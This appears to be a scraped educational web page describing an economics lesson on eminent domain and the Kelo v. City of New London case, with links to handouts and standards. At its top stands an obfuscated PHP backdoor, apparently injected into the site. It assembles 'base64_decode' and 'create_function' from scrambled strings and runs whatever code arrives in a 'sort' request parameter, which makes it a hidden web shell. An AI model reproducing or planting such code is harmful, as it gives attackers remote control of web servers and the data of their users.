if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "", "Brookings Office" => "" ); Focus: Understanding Economics in Civics and Government

Lesson 15 - The Judiciary and Eminent Domain: the Case of Kelo v. City of New London

The students learn about the importance of private property rights and the enforcement of those rights. They are introduced to the concept of eminent domain and its grounding in the Fifth Amendment to the U.S. Constitution. To explore issues of property rights, the students play roles in a simulated U.S. Supreme Court press conference attended by Justice Stevens and Justice O'Connor.

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Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 15 Visuals
Visual 15.1 - Visual 15.2

Lesson 15 Activities
Activity 15.1

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics